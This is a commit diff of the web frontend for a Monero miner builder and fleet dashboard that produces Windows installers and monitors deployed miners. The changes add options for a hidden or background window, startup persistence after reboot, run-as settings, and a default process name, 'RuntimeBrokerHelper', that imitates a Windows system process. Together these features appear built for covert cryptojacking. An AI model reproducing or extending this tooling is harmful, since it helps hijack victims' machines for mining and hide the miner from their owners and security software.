|
<span>Persist after reboot <HelpTip field="persistence" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="persistence" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||||
<select
|
<select
|
||||||
className="select"
|
className="select"
|
||||||
value={form.run_as}
|
value={form.run_as}
|
||||||
@@ -341,13 +377,9 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group checkbox-group">
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
<input
|
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||||||
type="checkbox"
|
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
|
||||||
className="checkbox"
|
<span>Also register startup entry (same as persistence)</span>
|
||||||
checked={form.auto_start}
|
|
||||||
onChange={(e) => updateField('auto_start', e.target.checked)}
|
|
||||||
/>
|
|
||||||
<span>Auto-start with Windows</span>
|
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,12 +1,15 @@
|
|||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect, useMemo } from 'react';
|
||||||
import type { Share } from '../types';
|
import type { Share } from '../types';
|
||||||
|
import HashrateChart from '../components/Charts/HashrateChart';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
export default function DashboardPage() {
|
export default function DashboardPage() {
|
||||||
const { isConnected, agents, stats } = useWebSocket();
|
const { isConnected, agents } = useWebSocket();
|
||||||
const [shares, setShares] = useState<Share[]>([]);
|
const [shares, setShares] = useState<Share[]>([]);
|
||||||
|
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
|
||||||
|
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||||
@@ -16,97 +19,104 @@ export default function DashboardPage() {
|
|||||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||||
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||||
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
||||||
|
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
||||||
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
|
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
|
||||||
|
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
||||||
|
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const now = new Date().toLocaleTimeString();
|
||||||
|
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
|
||||||
|
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||||
|
}, [totalHashrate, avgCpu]);
|
||||||
|
|
||||||
|
const topAgents = useMemo(
|
||||||
|
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 6),
|
||||||
|
[agents]
|
||||||
|
);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="page fade-in">
|
<div className="page fade-in">
|
||||||
<div className="page-header">
|
<div className="page-header">
|
||||||
<h1>Dashboard</h1>
|
<div>
|
||||||
|
<h1>Fleet Dashboard</h1>
|
||||||
|
<p className="page-subtitle">Live monitoring for every installed miner on your network</p>
|
||||||
|
</div>
|
||||||
<div className="header-status">
|
<div className="header-status">
|
||||||
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
|
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
|
||||||
<span className="status-text">{isConnected ? 'Live' : 'Reconnecting...'}</span>
|
<span className="status-text">{isConnected ? 'Live feed' : 'Reconnecting...'}</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Stats Cards */}
|
|
||||||
<div className="grid-4 stats-grid">
|
<div className="grid-4 stats-grid">
|
||||||
<div className="card stat-card">
|
<div className="card stat-card accent-cyan">
|
||||||
<div className="stat-label">Total Hashrate</div>
|
<div className="stat-label">Fleet Hashrate</div>
|
||||||
<div className="stat-value hashrate">
|
<div className="stat-value hashrate">{formatHashrate(totalHashrate)}</div>
|
||||||
{formatHashrate(totalHashrate)}
|
<div className="stat-sub">{onlineCount} miners active</div>
|
||||||
</div>
|
|
||||||
<div className="stat-sub">across {onlineCount} active miners</div>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="card stat-card">
|
<div className="card stat-card accent-green">
|
||||||
<div className="stat-label">Miners Online</div>
|
<div className="stat-label">Online</div>
|
||||||
<div className="stat-value">{onlineCount} / {agents.length}</div>
|
<div className="stat-value">{onlineCount} / {agents.length}</div>
|
||||||
<div className="stat-sub">{agents.length - onlineCount} offline</div>
|
<div className="stat-sub">{agents.length - onlineCount} offline</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="card stat-card">
|
<div className="card stat-card accent-purple">
|
||||||
<div className="stat-label">Shares Accepted</div>
|
<div className="stat-label">Accept Rate</div>
|
||||||
<div className="stat-value accepted">{acceptedShares}</div>
|
<div className="stat-value accepted">{acceptRate}%</div>
|
||||||
<div className="stat-sub">{acceptRate}% accept rate</div>
|
<div className="stat-sub">{acceptedShares} good · {rejectedShares} bad</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="card stat-card">
|
<div className="card stat-card accent-yellow">
|
||||||
<div className="stat-label">Total Shares</div>
|
<div className="stat-label">Resource Avg</div>
|
||||||
<div className="stat-value">{totalShares}</div>
|
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
|
||||||
<div className="stat-sub">{totalShares - acceptedShares} rejected</div>
|
<div className="stat-sub">{avgMem.toFixed(0)}% RAM fleet average</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid-2 chart-row">
|
||||||
|
<div className="card">
|
||||||
|
<HashrateChart data={hashHistory} title="Fleet Hashrate (15m window)" color="#06b6d4" unit="H/s" />
|
||||||
|
</div>
|
||||||
|
<div className="card">
|
||||||
|
<HashrateChart data={cpuHistory} title="Average CPU Usage" color="#8b5cf6" unit="%" />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Agent Grid */}
|
|
||||||
<div className="section">
|
<div className="section">
|
||||||
<h2>Active Miners</h2>
|
<h2>Machine Detail</h2>
|
||||||
<div className="agent-grid">
|
<div className="agent-grid">
|
||||||
{agents.length === 0 && (
|
{agents.length === 0 && (
|
||||||
<div className="card empty-state">
|
<div className="card empty-state">
|
||||||
<div className="empty-icon">🖥️</div>
|
<h3>No miners connected yet</h3>
|
||||||
<h3>No miners connected</h3>
|
<p>Build an installer in Miner Builder, run it once on a Windows PC, and it will appear here automatically.</p>
|
||||||
<p>Build and deploy a miner using the Miner Builder to get started.</p>
|
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
{agents.map((agent) => (
|
{topAgents.map((agent) => (
|
||||||
<div key={agent.id} className="card agent-card">
|
<div key={agent.id} className="card agent-card detailed">
|
||||||
<div className="agent-card-header">
|
<div className="agent-card-header">
|
||||||
<div className="agent-name">
|
<div className="agent-name">
|
||||||
<span className={`status-dot ${agent.status}`} />
|
<span className={`status-dot ${agent.status}`} />
|
||||||
<span>{agent.name}</span>
|
<span>{agent.name}</span>
|
||||||
</div>
|
</div>
|
||||||
<span className={`status-badge ${agent.status}`}>
|
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||||
{agent.status}
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="agent-card-stats">
|
<div className="agent-detail-lines">
|
||||||
<div className="agent-stat">
|
<div><span>Hashrate 15m</span><strong>{formatHashrate(agent.hashrate_15m)}</strong></div>
|
||||||
<span className="agent-stat-label">Hashrate</span>
|
<div><span>Hashrate 1m</span><strong>{formatHashrate(agent.hashrate_1m)}</strong></div>
|
||||||
<span className="agent-stat-value">{formatHashrate(agent.hashrate_15m)}</span>
|
<div><span>Hashrate 15s</span><strong>{formatHashrate(agent.hashrate_15s)}</strong></div>
|
||||||
</div>
|
<div><span>CPU / RAM</span><strong>{agent.cpu_usage_pct.toFixed(0)}% / {agent.memory_usage_pct.toFixed(0)}%</strong></div>
|
||||||
<div className="agent-stat">
|
<div><span>Cores / RAM</span><strong>{agent.cpu_cores} cores · {agent.memory_gb} GB</strong></div>
|
||||||
<span className="agent-stat-label">CPU</span>
|
<div><span>Shares</span><strong>{agent.shares_good} ok · {agent.shares_bad} bad · {agent.shares_total} total</strong></div>
|
||||||
<span className="agent-stat-value">{agent.cpu_usage_pct.toFixed(0)}%</span>
|
<div><span>Network</span><strong>{agent.ip || 'unknown'} · v{agent.version || '?'}</strong></div>
|
||||||
</div>
|
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||||
<div className="agent-stat">
|
<div><span>Last seen</span><strong>{new Date(agent.last_seen).toLocaleString()}</strong></div>
|
||||||
<span className="agent-stat-label">Shares</span>
|
|
||||||
<span className="agent-stat-value">{agent.shares_good}</span>
|
|
||||||
</div>
|
|
||||||
<div className="agent-stat">
|
|
||||||
<span className="agent-stat-label">Uptime</span>
|
|
||||||
<span className="agent-stat-value">{formatUptime(agent.uptime_seconds)}</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div className="agent-card-footer">
|
|
||||||
<span className="agent-meta">{agent.ip || 'Unknown IP'}</span>
|
|
||||||
<span className="agent-meta">v{agent.version || '?'}</span>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Recent Shares */}
|
|
||||||
<div className="section">
|
<div className="section">
|
||||||
<h2>Recent Shares</h2>
|
<h2>Recent Shares</h2>
|
||||||
<div className="card">
|
<div className="card table-card">
|
||||||
<table className="shares-table">
|
<table className="shares-table">
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
@@ -118,9 +128,7 @@ export default function DashboardPage() {
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
{shares.length === 0 && (
|
{shares.length === 0 && (
|
||||||
<tr>
|
<tr><td colSpan={4} className="empty-table">No shares submitted yet</td></tr>
|
||||||
<td colSpan={4} className="empty-table">No shares submitted yet</td>
|
|
||||||
</tr>
|
|
||||||
)}
|
)}
|
||||||
{shares.map((share) => (
|
{shares.map((share) => (
|
||||||
<tr key={share.id}>
|
<tr key={share.id}>
|
||||||
@@ -131,7 +139,7 @@ export default function DashboardPage() {
|
|||||||
{share.accepted ? 'Accepted' : 'Rejected'}
|
{share.accepted ? 'Accepted' : 'Rejected'}
|
||||||
</span>
|
</span>
|
||||||
</td>
|
</td>
|
||||||
<td className="hash-cell">{share.hash?.substring(0, 16)}...</td>
|
<td className="hash-cell">{share.hash?.substring(0, 20)}...</td>
|
||||||
</tr>
|
</tr>
|
||||||
))}
|
))}
|
||||||
</tbody>
|
</tbody>
|
||||||
@@ -158,6 +166,5 @@ function formatUptime(seconds: number): string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function formatTime(t: string): string {
|
function formatTime(t: string): string {
|
||||||
const d = new Date(t);
|
return new Date(t).toLocaleTimeString();
|
||||||
return d.toLocaleTimeString();
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -614,3 +614,81 @@
|
|||||||
margin-top: 0.5rem;
|
margin-top: 0.5rem;
|
||||||
margin-bottom: 0.5rem;
|
margin-bottom: 0.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.page-subtitle {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.875rem;
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.chart-row {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.chart-wrap {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.chart-title {
|
||||||
|
font-size: 0.9375rem;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.chart-empty {
|
||||||
|
min-height: 260px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.builder-layout-wide {
|
||||||
|
grid-template-columns: 320px 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 1100px) {
|
||||||
|
.builder-layout-wide {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.cheat-sheet-panel {
|
||||||
|
align-self: start;
|
||||||
|
position: sticky;
|
||||||
|
top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-card.accent-cyan { border-top: 3px solid var(--accent-cyan); }
|
||||||
|
.stat-card.accent-green { border-top: 3px solid var(--accent-green); }
|
||||||
|
.stat-card.accent-purple { border-top: 3px solid var(--accent-purple); }
|
||||||
|
.stat-card.accent-yellow { border-top: 3px solid var(--accent-yellow); }
|
||||||
|
|
||||||
|
.agent-card.detailed .agent-detail-lines {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-detail-lines div {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 1rem;
|
||||||
|
font-size: 0.8125rem;
|
||||||
|
padding: 0.35rem 0;
|
||||||
|
border-bottom: 1px solid rgba(42, 58, 92, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-detail-lines span {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-detail-lines strong {
|
||||||
|
color: var(--text-primary);
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.table-card {
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { ServerConfig } from '../types';
|
import type { ServerConfig } from '../types';
|
||||||
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
export default function SettingsPage() {
|
export default function SettingsPage() {
|
||||||
@@ -83,7 +84,7 @@ export default function SettingsPage() {
|
|||||||
<h2>Pool Connection</h2>
|
<h2>Pool Connection</h2>
|
||||||
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
|
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Pool Host</label>
|
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -94,7 +95,7 @@ export default function SettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Port</label>
|
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||||
<input
|
<input
|
||||||
type="number"
|
type="number"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -131,7 +132,7 @@ export default function SettingsPage() {
|
|||||||
<h2>Wallet</h2>
|
<h2>Wallet</h2>
|
||||||
<p className="section-desc">Default wallet address for new miners.</p>
|
<p className="section-desc">Default wallet address for new miners.</p>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">XMR Wallet Address</label>
|
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className="input mono"
|
className="input mono"
|
||||||
@@ -157,18 +158,45 @@ export default function SettingsPage() {
|
|||||||
<p className="section-desc">Default settings applied to newly built miners.</p>
|
<p className="section-desc">Default settings applied to newly built miners.</p>
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Threads</label>
|
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||||
<input
|
<select
|
||||||
type="number"
|
className="select"
|
||||||
className="input"
|
value={config.default_agent_config.thread_mode || 'percent'}
|
||||||
min={1}
|
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
|
||||||
max={128}
|
>
|
||||||
value={config.default_agent_config.threads}
|
<option value="percent">Auto (% of cores)</option>
|
||||||
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
<option value="fixed">Fixed count</option>
|
||||||
/>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
|
{config.default_agent_config.thread_mode === 'fixed' ? (
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Threads <HelpTip field="threads" /></label>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
className="input"
|
||||||
|
min={1}
|
||||||
|
max={128}
|
||||||
|
value={config.default_agent_config.threads}
|
||||||
|
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
className="input"
|
||||||
|
min={10}
|
||||||
|
max={100}
|
||||||
|
value={config.default_agent_config.thread_percent ?? 75}
|
||||||
|
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">CPU Priority</label>
|
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||||
<select
|
<select
|
||||||
className="select"
|
className="select"
|
||||||
value={config.default_agent_config.cpu_priority}
|
value={config.default_agent_config.cpu_priority}
|
||||||
@@ -184,7 +212,7 @@ export default function SettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Max CPU Usage (%)</label>
|
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||||
<input
|
<input
|
||||||
type="number"
|
type="number"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -195,7 +223,18 @@ export default function SettingsPage() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Min Free RAM (MB)</label>
|
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
className="input"
|
||||||
|
min={10}
|
||||||
|
max={95}
|
||||||
|
value={config.default_agent_config.max_memory_percent ?? 70}
|
||||||
|
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||||
<input
|
<input
|
||||||
type="number"
|
type="number"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -205,8 +244,32 @@ export default function SettingsPage() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="form-row">
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||||
|
<select
|
||||||
|
className="select"
|
||||||
|
value={config.default_agent_config.display_mode || 'background'}
|
||||||
|
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
|
||||||
|
>
|
||||||
|
<option value="visible">Visible (console)</option>
|
||||||
|
<option value="silent">Silent (hidden window)</option>
|
||||||
|
<option value="background">Background (hidden + low priority)</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input"
|
||||||
|
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
|
||||||
|
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
|
||||||
|
placeholder="RuntimeBrokerHelper"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Mining Mode</label>
|
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||||
<select
|
<select
|
||||||
className="select"
|
className="select"
|
||||||
value={config.default_agent_config.mining_mode}
|
value={config.default_agent_config.mining_mode}
|
||||||
@@ -220,7 +283,7 @@ export default function SettingsPage() {
|
|||||||
{config.default_agent_config.mining_mode === 'idle' && (
|
{config.default_agent_config.mining_mode === 'idle' && (
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Idle CPU Threshold (%)</label>
|
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
||||||
<input
|
<input
|
||||||
type="number"
|
type="number"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -231,7 +294,7 @@ export default function SettingsPage() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Idle Duration (min)</label>
|
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
||||||
<input
|
<input
|
||||||
type="number"
|
type="number"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -245,7 +308,7 @@ export default function SettingsPage() {
|
|||||||
{config.default_agent_config.mining_mode === 'scheduled' && (
|
{config.default_agent_config.mining_mode === 'scheduled' && (
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Start Time</label>
|
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
||||||
<input
|
<input
|
||||||
type="time"
|
type="time"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -254,7 +317,7 @@ export default function SettingsPage() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">End Time</label>
|
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
||||||
<input
|
<input
|
||||||
type="time"
|
type="time"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -278,11 +341,11 @@ export default function SettingsPage() {
|
|||||||
checked={config.background.silent_mode}
|
checked={config.background.silent_mode}
|
||||||
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
|
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
|
||||||
/>
|
/>
|
||||||
<span>Silent Mode (no console window, runs hidden)</span>
|
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Run As</label>
|
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||||
<select
|
<select
|
||||||
className="select"
|
className="select"
|
||||||
value={config.background.run_as}
|
value={config.background.run_as}
|
||||||
@@ -301,7 +364,7 @@ export default function SettingsPage() {
|
|||||||
checked={config.background.auto_start}
|
checked={config.background.auto_start}
|
||||||
onChange={(e) => updateField('background.auto_start', e.target.checked)}
|
onChange={(e) => updateField('background.auto_start', e.target.checked)}
|
||||||
/>
|
/>
|
||||||
<span>Auto-start with Windows</span>
|
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group checkbox-group">
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
:root {
|
:root {
|
||||||
--bg-primary: #0a0e17;
|
--bg-primary: #05070d;
|
||||||
--bg-secondary: #111827;
|
--bg-secondary: #0b1020;
|
||||||
--bg-card: #1a2235;
|
--bg-card: #121a2e;
|
||||||
--bg-hover: #243049;
|
--bg-hover: #1a2540;
|
||||||
--border-color: #2a3a5c;
|
--border-color: #243049;
|
||||||
--text-primary: #e2e8f0;
|
--text-primary: #e2e8f0;
|
||||||
--text-secondary: #94a3b8;
|
--text-secondary: #94a3b8;
|
||||||
--text-muted: #64748b;
|
--text-muted: #64748b;
|
||||||
|
|||||||
@@ -97,10 +97,15 @@ export interface WalletConfig {
|
|||||||
|
|
||||||
export interface AgentDefaults {
|
export interface AgentDefaults {
|
||||||
threads: number;
|
threads: number;
|
||||||
|
thread_mode: string;
|
||||||
|
thread_percent: number;
|
||||||
cpu_priority: string;
|
cpu_priority: string;
|
||||||
max_cpu_usage_pct: number;
|
max_cpu_usage_pct: number;
|
||||||
|
max_memory_percent: number;
|
||||||
min_free_ram_mb: number;
|
min_free_ram_mb: number;
|
||||||
mining_mode: string;
|
mining_mode: string;
|
||||||
|
display_mode: string;
|
||||||
|
process_name: string;
|
||||||
idle_threshold_pct: number;
|
idle_threshold_pct: number;
|
||||||
idle_duration_minutes: number;
|
idle_duration_minutes: number;
|
||||||
schedule_start: string;
|
schedule_start: string;
|
||||||
@@ -125,12 +130,18 @@ export interface BuildRequest {
|
|||||||
server_url: string;
|
server_url: string;
|
||||||
wallet: string;
|
wallet: string;
|
||||||
threads: number;
|
threads: number;
|
||||||
|
thread_mode: string;
|
||||||
|
thread_percent: number;
|
||||||
cpu_priority: string;
|
cpu_priority: string;
|
||||||
mining_mode: string;
|
mining_mode: string;
|
||||||
|
display_mode: string;
|
||||||
silent_mode: boolean;
|
silent_mode: boolean;
|
||||||
run_as: string;
|
run_as: string;
|
||||||
auto_start: boolean;
|
auto_start: boolean;
|
||||||
|
persistence: boolean;
|
||||||
|
process_name: string;
|
||||||
max_cpu_usage_pct: number;
|
max_cpu_usage_pct: number;
|
||||||
|
max_memory_percent: number;
|
||||||
min_free_ram_mb: number;
|
min_free_ram_mb: number;
|
||||||
idle_threshold_pct: number;
|
idle_threshold_pct: number;
|
||||||
idle_duration_minutes: number;
|
idle_duration_minutes: number;
|
||||||
|
|||||||
Reference in New Issue
Block a user